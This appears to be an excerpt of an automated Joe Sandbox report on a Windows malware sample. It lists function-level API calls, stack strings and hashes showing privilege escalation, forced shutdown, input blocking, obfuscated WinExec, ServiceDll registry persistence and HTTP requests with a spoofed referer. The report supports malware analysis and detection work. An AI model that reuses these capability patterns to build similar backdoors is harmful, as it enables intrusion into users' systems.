CreateProcessA.KERNEL32(?,?,00000000,00000001,00000000,00000000,00000000,00000000,00000000,00000000,?,?), ref: 00408FA6

Strings

D, xrefs: 00408F8C

Memory Dump Source

Source File: 0000001D.00000002.4094156194.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.4093845530.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094491017.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094694706.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_svchost.jbxd

Similarity

API ID: File$AttributesCreateDownloadErrorLastProcessmallocstrrchr
String ID: D
API String ID: 1133825092-2746444292
Opcode ID: 0ee9dfb1a197fcc61950aeb8abb4b65c28e9f373203b1fed03d9b979ed251431
Instruction ID: 641fd741e3dffe89cf35644dc27eeee5f413dddf5009ce50aadd4155585f7c96
Opcode Fuzzy Hash: 0ee9dfb1a197fcc61950aeb8abb4b65c28e9f373203b1fed03d9b979ed251431
Instruction Fuzzy Hash: 5C112C722441125BE31095359D41BBBB2DAEBD4324F04443EFD45D73C0EEB99D0A86EA

Function 004141A0 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 13shutdownCOMMON

Download Yara Rule

APIs

Part of subcall function 00414110: GetCurrentProcess.KERNEL32(00000028,00000000,00000000,?,?,?,?,00000104,?,?,80000002,?,ServiceDll,00000002,?,00000000), ref: 00414120
Part of subcall function 00414110: OpenProcessToken.ADVAPI32(00000000,?,?,?,?,00000104,?,?,80000002,?,ServiceDll,00000002,?,00000000,00000000,00000000), ref: 00414127

ExitWindowsEx.USER32(?,00000000), ref: 004141B6

Part of subcall function 00414110: LookupPrivilegeValueA.ADVAPI32(00000000,?,?), ref: 00414157
Part of subcall function 00414110: AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000010,00000000,00000000,?,?,?,?,00000104,?,?,80000002,?,ServiceDll), ref: 0041416F
Part of subcall function 00414110: GetLastError.KERNEL32(?,?,?,?,00000104,?,?,80000002,?,ServiceDll,00000002,?,00000000,00000000,00000000), ref: 00414175
Part of subcall function 00414110: CloseHandle.KERNEL32(?,?,?,?,?,00000104,?,?,80000002,?,ServiceDll,00000002,?,00000000,00000000,00000000), ref: 00414186

Strings

SeShutdownPrivilege, xrefs: 004141A2, 004141BE

Memory Dump Source

Source File: 0000001D.00000002.4094156194.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.4093845530.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094491017.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094694706.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_svchost.jbxd

Similarity

API ID: ProcessToken$AdjustCloseCurrentErrorExitHandleLastLookupOpenPrivilegePrivilegesValueWindows
String ID: SeShutdownPrivilege
API String ID: 3672536310-3733053543
Opcode ID: 7a241d3c4a44347b2280178abdb6b7cf66b3897e6004206b686e0d79c54f2bd2
Instruction ID: 0ec0722157b3f3edb03cc593dd1a19e46bdde425880996791dea33d7b7a6db0f
Opcode Fuzzy Hash: 7a241d3c4a44347b2280178abdb6b7cf66b3897e6004206b686e0d79c54f2bd2
Instruction Fuzzy Hash: 76C01270BC431076D41023A47C4FF8536005BE0F05F9044167904551C2D5A950E4426E

Function 0040BE60 Relevance: 3.1, APIs: 2, Instructions: 148keyboardCOMMON

Download Yara Rule

APIs

BlockInput.USER32(00000000), ref: 0040BF1C
BlockInput.USER32(?,?,?,00000000), ref: 0040BF33

Memory Dump Source

Source File: 0000001D.00000002.4094156194.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.4093845530.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094491017.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094694706.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_svchost.jbxd

Similarity

API ID: BlockInput
String ID:
API String ID: 3456056419-0
Opcode ID: 75267d6e0c4ae94954d4f9fdbe37ace88b87be16685b1af0c98acb4fafc3432a
Instruction ID: f4eb1292d31235e4769876a06b9e62398d1920730c83797297737009da8e2c4a
Opcode Fuzzy Hash: 75267d6e0c4ae94954d4f9fdbe37ace88b87be16685b1af0c98acb4fafc3432a
Instruction Fuzzy Hash: 6A41C137B086849BC314EF59E441BAAF7A5FBC9721F00867FE95583B40DB3A681087E4

Function 0040C190 Relevance: 3.0, APIs: 2, Instructions: 40sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 0040C030: VirtualAlloc.KERNEL32(00000000,00000000,00001000,00000004,?,?), ref: 0040C055
Part of subcall function 0040C030: VirtualFree.KERNEL32(00000000,00000000,00008000,?,?), ref: 0040C099

Part of subcall function 0040A510: WaitForSingleObject.KERNEL32(?,000000FF,0040C1C0,?,?,?,?,?,0041BC30,000000FF), ref: 0040A516
Part of subcall function 0040A510: Sleep.KERNEL32(00000096,?,?,?,?,?,0041BC30,000000FF), ref: 0040A521

Part of subcall function 0040C0B0: ??2@YAPAXI@Z.MSVCRT ref: 0040C0DB
Part of subcall function 0040C0B0: ??3@YAXPAX@Z.MSVCRT ref: 0040C10D

GetTickCount.KERNEL32 ref: 0040C1E1

Part of subcall function 0040C120: ??2@YAPAXI@Z.MSVCRT ref: 0040C14C
Part of subcall function 0040C120: ??3@YAXPAX@Z.MSVCRT ref: 0040C17F

Sleep.KERNEL32(0000000A,?,?,?,?,?,0041BC30,000000FF), ref: 0040C1EC

Memory Dump Source

Source File: 0000001D.00000002.4094156194.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.4093845530.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094491017.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094694706.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_svchost.jbxd

Similarity

API ID: ??2@??3@SleepVirtual$AllocCountFreeObjectSingleTickWait
String ID:
API String ID: 2525404969-0
Opcode ID: 94367fec81660467e6bcba43487b737db75c096c9ba2b4f7d606e1a45960db8a
Instruction ID: 57816cb01a2125c1718e1f34dd7cf890ff0832dd3fe88f215cb3f28dd0297180
Opcode Fuzzy Hash: 94367fec81660467e6bcba43487b737db75c096c9ba2b4f7d606e1a45960db8a
Instruction Fuzzy Hash: 3EF0A471740618EBC700DB55CC91B6EB3A8EB48B24F00432FF501A73C1CB7968018BD9

Function 00410F60 Relevance: 315.5, APIs: 3, Strings: 207, Instructions: 463sleepCOMMON

Download Yara Rule

APIs

atoi.MSVCRT ref: 00410F73

Part of subcall function 0040AA70: RegCreateKeyExA.ADVAPI32(?,?,00000000,00000000,00000000,000F013F,00000000,?,?), ref: 0040AAC7
Part of subcall function 0040AA70: RegOpenKeyExA.ADVAPI32(?,?,00000000,0002001F,?), ref: 0040AAE7
Part of subcall function 0040AA70: RegSetValueExA.ADVAPI32(?,?,00000000,?,?,?), ref: 0040AB1D

Part of subcall function 0040AA70: RegSetValueExA.ADVAPI32(?,?,00000000,?,?), ref: 0040AB4A

Part of subcall function 0040A5E0: RegOpenKeyExA.ADVAPI32(?,00000000,00000000,00020019,?,?,?,?), ref: 0040A64C

atoi.MSVCRT ref: 004119DB

Part of subcall function 0040AA70: RegOpenKeyExA.ADVAPI32(?,?,00000000,0002001F,?), ref: 0040AB68
Part of subcall function 0040AA70: RegDeleteKeyA.ADVAPI32(?,?), ref: 0040AB7A

Sleep.KERNEL32(000005DC), ref: 00411A09

Part of subcall function 0040AA70: RegOpenKeyExA.ADVAPI32(?,?,00000000,0002001F,?), ref: 0040AB98
Part of subcall function 0040AA70: RegDeleteValueA.ADVAPI32(?,?), ref: 0040ABAA

Strings

o, xrefs: 00411884
Y, xrefs: 00411346
l, xrefs: 004115D8
a, xrefs: 00411767
, xrefs: 00411476
S, xrefs: 004110C2
S, xrefs: 004113DE
S, xrefs: 0041134E
o, xrefs: 004111F4
m, xrefs: 0041144F
v, xrefs: 00411696
b, xrefs: 0041191A
f, xrefs: 00411928
S, xrefs: 004117F6
v, xrefs: 00411494
l, xrefs: 0041146E
\, xrefs: 00411075
o, xrefs: 004115D0
, xrefs: 004110BA
S, xrefs: 00410F92
a, xrefs: 00411256
\, xrefs: 0041115E
C, xrefs: 004115FE
o, xrefs: 004118FE
m, xrefs: 00411093
T, xrefs: 00411439
m, xrefs: 004118AB
l, xrefs: 004117F1
p, xrefs: 004114E1
W, xrefs: 004112A2
C, xrefs: 004116D7
o, xrefs: 00411065
E, xrefs: 00410FA2
, xrefs: 00411771
m, xrefs: 00411651
R, xrefs: 004112FE
u, xrefs: 0041116E
l, xrefs: 0041106D
T, xrefs: 0041174C
a, xrefs: 00411668
\, xrefs: 004112F6
M, xrefs: 00410FAA
\, xrefs: 004114AA
o, xrefs: 004112DF
S, xrefs: 0041193C
c, xrefs: 00411326
p, xrefs: 00411530
T, xrefs: 00411356
m, xrefs: 0041123F
M, xrefs: 00411156
S, xrefs: 0041113E
s, xrefs: 004112EE
l, xrefs: 0041101A
M, xrefs: 004117AE
C, xrefs: 004111EC
S, xrefs: 004118D3
T, xrefs: 00411229
\, xrefs: 00411633
C, xrefs: 00411376
o, xrefs: 00410FF5
C, xrefs: 00411040
o, xrefs: 004113CE
c, xrefs: 00411116
i, xrefs: 004112AA
l, xrefs: 00411219
S, xrefs: 00411776
o, xrefs: 00411404
S, xrefs: 00411680
D, xrefs: 0041192D
\, xrefs: 0041185E
W, xrefs: 004114B2
s, xrefs: 004114C2
E, xrefs: 004117A9
\, xrefs: 00410FB2
v, xrefs: 00411783
d, xrefs: 004114D9
i, xrefs: 0041109B
S, xrefs: 004112B9
\, xrefs: 00411431
C, xrefs: 004117B8
T, xrefs: 00410F9A
l, xrefs: 0041125E
o, xrefs: 004111BE
C, xrefs: 004117D6
a, xrefs: 004118BB
, xrefs: 00411266
Y, xrefs: 0041179A
o, xrefs: 0041173D
T, xrefs: 00411146
T, xrefs: 0041107D
T, xrefs: 00411501
C, xrefs: 00410FBA
D, xrefs: 00411306
S, xrefs: 0041126E
M, xrefs: 004116CD
Y, xrefs: 00410F8A
a, xrefs: 004112C8
u, xrefs: 0041137E
v, xrefs: 004118E2
m, xrefs: 00411915
\, xrefs: 00411722
i, xrefs: 004118B3
\, xrefs: 004117B3
d, xrefs: 004114F1
v, xrefs: 00411284
l, xrefs: 0041176C
\, xrefs: 00411747
\, xrefs: 004115F6
i, xrefs: 00411247
C, xrefs: 00411166
l, xrefs: 004110B2
o, xrefs: 00411211
S, xrefs: 004111CE
C, xrefs: 004115AB
C, xrefs: 00411199
\, xrefs: 004116D2
S, xrefs: 0041179F
\, xrefs: 00411519
l, xrefs: 004111C6
p, xrefs: 0041111E
d, xrefs: 00411509
c, xrefs: 0041194B
o, xrefs: 004117EC
M, xrefs: 00411366
o, xrefs: 00411012
Y, xrefs: 00411136
T, xrefs: 0041163B
R, xrefs: 004110F6
P, xrefs: 0041130E
u, xrefs: 004117BD
\, xrefs: 00411038
o, xrefs: 00411959
, xrefs: 00411678
E, xrefs: 00411560
S, xrefs: 0041147E
c, xrefs: 00411528
T, xrefs: 00411558
a, xrefs: 004110AA
T, xrefs: 0041131E
i, xrefs: 00411457
i, xrefs: 00411659
o, xrefs: 004117DB
y, xrefs: 00411932
\, xrefs: 004113F4
, xrefs: 004118CB
S, xrefs: 0041112E
o, xrefs: 004111A1
o, xrefs: 004113B1
T, xrefs: 0041189C
l, xrefs: 0041188C
\, xrefs: 0041136E
E, xrefs: 004116C8
o, xrefs: 00411623
C, xrefs: 004113A9
w, xrefs: 004114E9
v, xrefs: 004110D8
C, xrefs: 004113FC
u, xrefs: 00411910
P, xrefs: 00411106
l, xrefs: 0041162B
s, xrefs: 0041195E
\, xrefs: 00411221
E, xrefs: 0041114E
\, xrefs: 004114CA
s, xrefs: 00411511
S, xrefs: 00411715
\, xrefs: 0041129A
o, xrefs: 00411421
u, xrefs: 00410FC2
\, xrefs: 004111E4
E, xrefs: 0041135E
o, xrefs: 0041186E
C, xrefs: 00411866
N, xrefs: 0041190B
o, xrefs: 0041172C
l, xrefs: 00411742
i, xrefs: 0041175E
S, xrefs: 0041133E
l, xrefs: 004113D6
T, xrefs: 004117A4
i, xrefs: 00411954
\, xrefs: 00411894
p, xrefs: 0041132E
S, xrefs: 00411022
\, xrefs: 004110EE
l, xrefs: 004118C3
d, xrefs: 004114BA
M, xrefs: 00411568
\, xrefs: 004114F9
o, xrefs: 0041170B
o, xrefs: 00411946
o, xrefs: 00411048
o, xrefs: 00411606
m, xrefs: 00411759
T, xrefs: 00411937
S, xrefs: 00410F82
D, xrefs: 004110FE
-, xrefs: 00411316
C, xrefs: 00411941
P, xrefs: 004118F9
C, xrefs: 00410FED
l, xrefs: 00411429
i, xrefs: 004112D7
a, xrefs: 00411466
T, xrefs: 0041110E
l, xrefs: 00411670
S, xrefs: 00411795

Memory Dump Source

Source File: 0000001D.00000002.4094156194.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.4093845530.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094491017.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094694706.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_svchost.jbxd

Similarity

API ID: Open$Value$Deleteatoi$CreateSleep
String ID: $ $ $ $ $ $-$C$C$C$C$C$C$C$C$C$C$C$C$C$C$C$C$D$D$D$E$E$E$E$E$E$M$M$M$M$M$M$N$P$P$P$R$R$S$S$S$S$S$S$S$S$S$S$S$S$S$S$S$S$S$S$S$S$S$T$T$T$T$T$T$T$T$T$T$T$T$T$T$T$W$W$Y$Y$Y$Y$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$a$a$a$a$a$a$a$b$c$c$c$c$d$d$d$d$f$i$i$i$i$i$i$i$i$i$l$l$l$l$l$l$l$l$l$l$l$l$l$l$l$l$l$m$m$m$m$m$m$m$o$o$o$o$o$o$o$o$o$o$o$o$o$o$o$o$o$o$o$o$o$o$o$o$o$o$p$p$p$p$s$s$s$s$u$u$u$u$u$v$v$v$v$v$v$w$y
API String ID: 3510045691-431623420
Opcode ID: c8ea0e25ca8291c90b83265b38c740372acd57ae97cda5b174c2b7731f31fd11
Instruction ID: c008ea17ca88bb83f2a0569529d69a52baae2fa9f7fc1a5520a756d467afeec9
Opcode Fuzzy Hash: c8ea0e25ca8291c90b83265b38c740372acd57ae97cda5b174c2b7731f31fd11
Instruction Fuzzy Hash: 12522D2154D7C0DDE332C66898597DBBED21BB3709F48489DA2DC1B283C2BA4658C77B

Function 0040FDB0 Relevance: 114.1, APIs: 19, Strings: 46, Instructions: 328stringmemoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,00000400), ref: 0040FDC7

Part of subcall function 00414110: GetCurrentProcess.KERNEL32(00000028,00000000,00000000,?,?,?,?,00000104,?,?,80000002,?,ServiceDll,00000002,?,00000000), ref: 00414120
Part of subcall function 00414110: OpenProcessToken.ADVAPI32(00000000,?,?,?,?,00000104,?,?,80000002,?,ServiceDll,00000002,?,00000000,00000000,00000000), ref: 00414127

WTSEnumerateSessionsA.WTSAPI32(00000000,00000000,00000001,?,?), ref: 0040FE0B
GetVersionExA.KERNEL32(?), ref: 0040FE23

Part of subcall function 0040FC60: WTSQuerySessionInformationW.WTSAPI32 ref: 0040FC84

Part of subcall function 0040FC20: WTSQuerySessionInformationA.WTSAPI32(00000000,?,0000000A,?,?,004100A1,?,?,?), ref: 0040FC3F

Part of subcall function 0040FD10: WTSQuerySessionInformationA.WTSAPI32(00000000,?,00000010,?,?,?,?,?,?,?), ref: 0040FD30
Part of subcall function 0040FD10: WTSFreeMemory.WTSAPI32(?,00000000,?,00000010,?,?,?,?,?,?,?), ref: 0040FD50

lstrlenA.KERNEL32(?,?,?,?,?), ref: 004100D3
lstrlenA.KERNEL32(?,?,?,?,?), ref: 004100F5
lstrlenA.KERNEL32(?,?,?,?,?), ref: 00410101
lstrlenA.KERNEL32(?,?,?,?,?), ref: 0041010A
lstrlenA.KERNEL32(?,?,?,?,?), ref: 00410116
LocalSize.KERNEL32(00000000), ref: 00410124
LocalReAlloc.KERNEL32(00000000,00000000,00000042,?,?,?,?), ref: 00410132
lstrlenA.KERNEL32(?,?,?,?,?), ref: 00410143
lstrlenA.KERNEL32(?,?,?,?,?), ref: 00410161
lstrlenA.KERNEL32(?,?,?,?,?), ref: 00410177
lstrlenA.KERNEL32(?,?,?,?,?), ref: 0041019F
lstrlenA.KERNEL32(?,?,?,?,?), ref: 004101B5
lstrlenA.KERNEL32(?,?,?,?,?), ref: 004101D6
lstrlenA.KERNEL32(?,?,?,?,?), ref: 004101EC
lstrlenA.KERNEL32(?,?,?,?,?), ref: 0041020D
LocalReAlloc.KERNEL32(00000000,00000000,00000042), ref: 00410270

Strings

i, xrefs: 00410015
c, xrefs: 0040FF01
w, xrefs: 0040FFF9
s, xrefs: 0040FF64
Q, xrefs: 0040FF0B
SeDebugPrivilege, xrefs: 0040FDD1, 00410277
o, xrefs: 0040FF6E
n, xrefs: 0040FEC3
r, xrefs: 0040FF1F
t, xrefs: 0041001A
d, xrefs: 0040FEDF
i, xrefs: 0040FF5F
C, xrefs: 0040FEB9
d, xrefs: 0040FF9E
RDI, xrefs: 00410067
D, xrefs: 0040FF5A
I, xrefs: 0041000B
LoSvAtR, xrefs: 00410061
c, xrefs: 0040FF81
n, xrefs: 0040FFFE
i, xrefs: 0040FEA6
n, xrefs: 0040FF78
o, xrefs: 0040FFF4
c, xrefs: 0040FF69
o, xrefs: 0040FEEE
C, xrefs: 0040FEE9
I, xrefs: 0040FF99
n, xrefs: 0040FEC8
t, xrefs: 0040FF06
w, xrefs: 0040FF50
d, xrefs: 0040FF8F
u, xrefs: 0040FF10
t, xrefs: 0040FF86
v, xrefs: 0040FEAB
c, xrefs: 0040FED1
n, xrefs: 0040FEF3
SvAtR, xrefs: 00410047
y, xrefs: 0040FF27
n, xrefs: 0040FF73
n, xrefs: 00410010
n, xrefs: 0040FEF8
AtR, xrefs: 0041002D
o, xrefs: 0040FEBE
l, xrefs: 0040FFA3
D, xrefs: 0040FFEF
t, xrefs: 0040FED6

Memory Dump Source

Source File: 0000001D.00000002.4094156194.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.4093845530.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094491017.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094694706.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_svchost.jbxd

Similarity

API ID: lstrlen$Local$AllocInformationQuerySession$Process$CurrentEnumerateFreeMemoryOpenSessionsSizeTokenVersion
String ID: AtR$C$C$D$D$I$I$LoSvAtR$Q$RDI$SeDebugPrivilege$SvAtR$c$c$c$c$d$d$d$i$i$i$l$n$n$n$n$n$n$n$n$o$o$o$o$r$s$t$t$t$t$u$v$w$w$y
API String ID: 3275454331-1820797497
Opcode ID: 69ac0653dadd3e0af63d09370e8d9b08a976cf699f539770aa319773fce94693
Instruction ID: c338d348b93bef31baab77f006ad920f911bf5e5f1de5e656ce125247f292005
Opcode Fuzzy Hash: 69ac0653dadd3e0af63d09370e8d9b08a976cf699f539770aa319773fce94693
Instruction Fuzzy Hash: F0E1043050C3C1CED321CB28C494B9FBFE1ABA6708F48495DE5C847292C7BA9949CB67

Function 00411B00 Relevance: 96.4, APIs: 1, Strings: 54, Instructions: 109processCOMMON

Download Yara Rule

APIs

WinExec.KERNEL32 ref: 00411CCA

Strings

&, xrefs: 00411B89
4, xrefs: 00411BE2
r, xrefs: 00411C7F
r, xrefs: 00411C92
i, xrefs: 00411B60
l, xrefs: 00411C14
d, xrefs: 00411CC0
u, xrefs: 00411B38
i, xrefs: 00411C59
y, xrefs: 00411B73
a, xrefs: 00411C4A
n, xrefs: 00411C03
r, xrefs: 00411C32
d, xrefs: 00411CBB
3, xrefs: 00411BDD
c, xrefs: 00411C1E
5, xrefs: 00411BE7
o, xrefs: 00411C37
g, xrefs: 00411B33
a, xrefs: 00411B52
u, xrefs: 00411BBE
2, xrefs: 00411BD8
a, xrefs: 00411C84
/, xrefs: 00411B4D
i, xrefs: 00411C63
l, xrefs: 00411C28
a, xrefs: 00411C23
m, xrefs: 00411C54
:, xrefs: 00411B6E
r, xrefs: 00411B2A
c, xrefs: 00411B57
/, xrefs: 00411CB1
o, xrefs: 00411C19
u, xrefs: 00411CA0
a, xrefs: 00411CB6
6, xrefs: 00411BEC
u, xrefs: 00411B1D
r, xrefs: 00411BB0
1, xrefs: 00411BD3
u, xrefs: 00411BA3
g, xrefs: 00411C9B
g, xrefs: 00411BB9
u, xrefs: 00411C3C
n, xrefs: 00411C5E
o, xrefs: 00411C8D
&, xrefs: 00411BF5
p, xrefs: 00411C41
v, xrefs: 00411B65
n, xrefs: 00411B92
&, xrefs: 00411BFA
d, xrefs: 00411C4F
g, xrefs: 00411C2D
n, xrefs: 00411B0C
&, xrefs: 00411B84

Memory Dump Source

Source File: 0000001D.00000002.4094156194.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.4093845530.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094491017.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094694706.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_svchost.jbxd

Similarity

API ID: Exec
String ID: &$&$&$&$/$/$1$2$3$4$5$6$:$a$a$a$a$a$c$c$d$d$d$g$g$g$g$i$i$i$l$l$m$n$n$n$n$o$o$o$p$r$r$r$r$r$u$u$u$u$u$u$v$y
API String ID: 459137531-3041118241
Opcode ID: ff2c4b5a96feb362e54ec97d843e0820433f61227c6ea0cdbe811243c93bf544
Instruction ID: e99a56cc99874d1bb8ad85f7822ce0473eb6629e394c2a751843363530d2c176
Opcode Fuzzy Hash: ff2c4b5a96feb362e54ec97d843e0820433f61227c6ea0cdbe811243c93bf544
Instruction Fuzzy Hash: FE510C2554E3C1DDE312C668918878FEFD21FB7648E48598DB1C81B393C2AA825CC77B

Function 004029D0 Relevance: 94.8, APIs: 8, Strings: 46, Instructions: 275libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(wininet.dll), ref: 004029E3
GetProcAddress.KERNEL32 ref: 00402C3D
GetProcAddress.KERNEL32(00000000,00000049), ref: 00402C47
GetProcAddress.KERNEL32(00000000,?), ref: 00402C53
GetProcAddress.KERNEL32(00000000,00000048), ref: 00402C62
GetProcAddress.KERNEL32(00000000,Fda), ref: 00402C74
GetProcAddress.KERNEL32(00000000,?), ref: 00402C83
FreeLibrary.KERNEL32(00000000), ref: 00402E01

Strings

d, xrefs: 00402C0F
q, xrefs: 00402AB9
H, xrefs: 00402C99
P, xrefs: 00402D51
u, xrefs: 00402ABE
p, xrefs: 00402AE2
r, xrefs: 00402B3B
H, xrefs: 00402D4C
p, xrefs: 00402A99
H, xrefs: 00402AD5
IkcaH, xrefs: 00402B73
r, xrefs: 00402BE2
H, xrefs: 00402B97
a, xrefs: 00402C9E
R, xrefs: 00402AB0
s, xrefs: 00402B10
/, xrefs: 00402D56
k, xrefs: 00402CA8
H, xrefs: 00402A8C
C, xrefs: 00402B58
., xrefs: 00402D5B
O, xrefs: 00402A9E
c, xrefs: 00402CA3
o, xrefs: 00402B80
d, xrefs: 00402BAE
s, xrefs: 00402AC7
R, xrefs: 00402AF9
o, xrefs: 00402A6D
wininet.dll, xrefs: 004029DA
I, xrefs: 00402A46
p, xrefs: 00402AA3
d, xrefs: 00402AF4
R, xrefs: 00402BF8
q, xrefs: 00402B02
IkcaH, xrefs: 00402D2C, 00402D32
c, xrefs: 00402A7E
p, xrefs: 00402A34
I, xrefs: 00402BCC
a, xrefs: 00402B9F
s, xrefs: 00402B88
u, xrefs: 00402B07
O, xrefs: 00402A2F
a, xrefs: 00402C07
<0B, xrefs: 00402D36
S, xrefs: 00402AE7
Fda, xrefs: 00402C64, 00402C72

Memory Dump Source

Source File: 0000001D.00000002.4094156194.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.4093845530.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094491017.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094694706.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_svchost.jbxd

Similarity

API ID: AddressProc$Library$FreeLoad
String ID: .$/$<0B$C$Fda$H$H$H$H$H$I$I$IkcaH$IkcaH$O$O$P$R$R$R$S$a$a$a$c$c$d$d$d$k$o$o$p$p$p$p$q$q$r$r$s$s$s$u$u$wininet.dll
API String ID: 2449869053-1207120059
Opcode ID: 253fe3cbdb40fb1eee6a4e4895986d5ddce5d3b076f4ea0673ba6221dca277c9
Instruction ID: e3a6ba9cb24a4e5b6c6097af3a89aa07493fcbcbf34560220ec45bd3f1904eca
Opcode Fuzzy Hash: 253fe3cbdb40fb1eee6a4e4895986d5ddce5d3b076f4ea0673ba6221dca277c9
Instruction Fuzzy Hash: 22D1E36114E3C0DDE322C6688854B9FBFE55FE2604F48499EE5C857283C6BA9908C77B

Function 00402E30 Relevance: 68.5, APIs: 16, Strings: 23, Instructions: 207stringsleepthreadCOMMON

Download Yara Rule

APIs

strstr.MSVCRT ref: 00402E94
strstr.MSVCRT ref: 00402EB8
strcspn.MSVCRT ref: 00402EDB
strncpy.MSVCRT ref: 00402EE7
strcspn.MSVCRT ref: 00402EF2
strstr.MSVCRT ref: 00402F01
strcspn.MSVCRT ref: 00402F22
strncpy.MSVCRT ref: 00402F2E
atoi.MSVCRT ref: 00402F38
strcspn.MSVCRT ref: 00402F43
strstr.MSVCRT ref: 00402F53
strcspn.MSVCRT ref: 00402F72
strncpy.MSVCRT ref: 00402F7E
strcspn.MSVCRT ref: 00402F89
Sleep.KERNEL32(00000028), ref: 004030BA
ExitThread.KERNEL32 ref: 004030C7

Strings

p, xrefs: 00402E7D
(, xrefs: 0040302A
J, xrefs: 00403012
H, xrefs: 0040300D
*, xrefs: 00402FF5
^, xrefs: 00402FED
R, xrefs: 0040301C
h, xrefs: 00402E4C
*, xrefs: 00403025
Cache-Control: no-cacheReferer: www.qq.com, xrefs: 0040309B
GET, xrefs: 004030A4
&, xrefs: 0040302F
F, xrefs: 0040303E
., xrefs: 00403043
R, xrefs: 00402FFA
F, xrefs: 00402FFF
s, xrefs: 0040304D
Y, xrefs: 00403008
I, xrefs: 00403017
^, xrefs: 00403034
D, xrefs: 00403039
a, xrefs: 00403048
p, xrefs: 00403052

Memory Dump Source

Source File: 0000001D.00000002.4094156194.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.4093845530.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094491017.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094694706.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_svchost.jbxd

Similarity

API ID: strcspn$strstr$strncpy$ExitSleepThreadatoi
String ID: &$($*$*$.$Cache-Control: no-cacheReferer: www.qq.com$D$F$F$GET$H$I$J$R$R$Y$^$^$a$h$p$p$s
API String ID: 802784597-2430186586
Opcode ID: 337865f2fae7dbd19785eead08bc529cfcc9354f6b1831a748bb7e956d52b7f0
Instruction ID: 1b0da105bdb9259ea1c1050b92e98f35519cfd5e55211938b241711f4bf069d0
Opcode Fuzzy Hash: 337865f2fae7dbd19785eead08bc529cfcc9354f6b1831a748bb7e956d52b7f0
Instruction Fuzzy Hash: EC71E23220C38099D315DA389805B9FBED16FE6744F444A1EF5D5672C2DAAD9B0C83AF

Function 00404240 Relevance: 54.5, APIs: 30, Strings: 1, Instructions: 287stringnetworkthreadCOMMON

Download Yara Rule

APIs

strstr.MSVCRT ref: 0040427E
strstr.MSVCRT ref: 004042B8
strstr.MSVCRT ref: 00404309
strcspn.MSVCRT ref: 0040432C
strncpy.MSVCRT ref: 00404338
strcspn.MSVCRT ref: 00404343
strstr.MSVCRT ref: 00404352
strcspn.MSVCRT ref: 00404373
strncpy.MSVCRT ref: 0040437F
strcspn.MSVCRT ref: 0040438A
strstr.MSVCRT ref: 004043A0
strcspn.MSVCRT ref: 004043BF
strncpy.MSVCRT ref: 004043CB
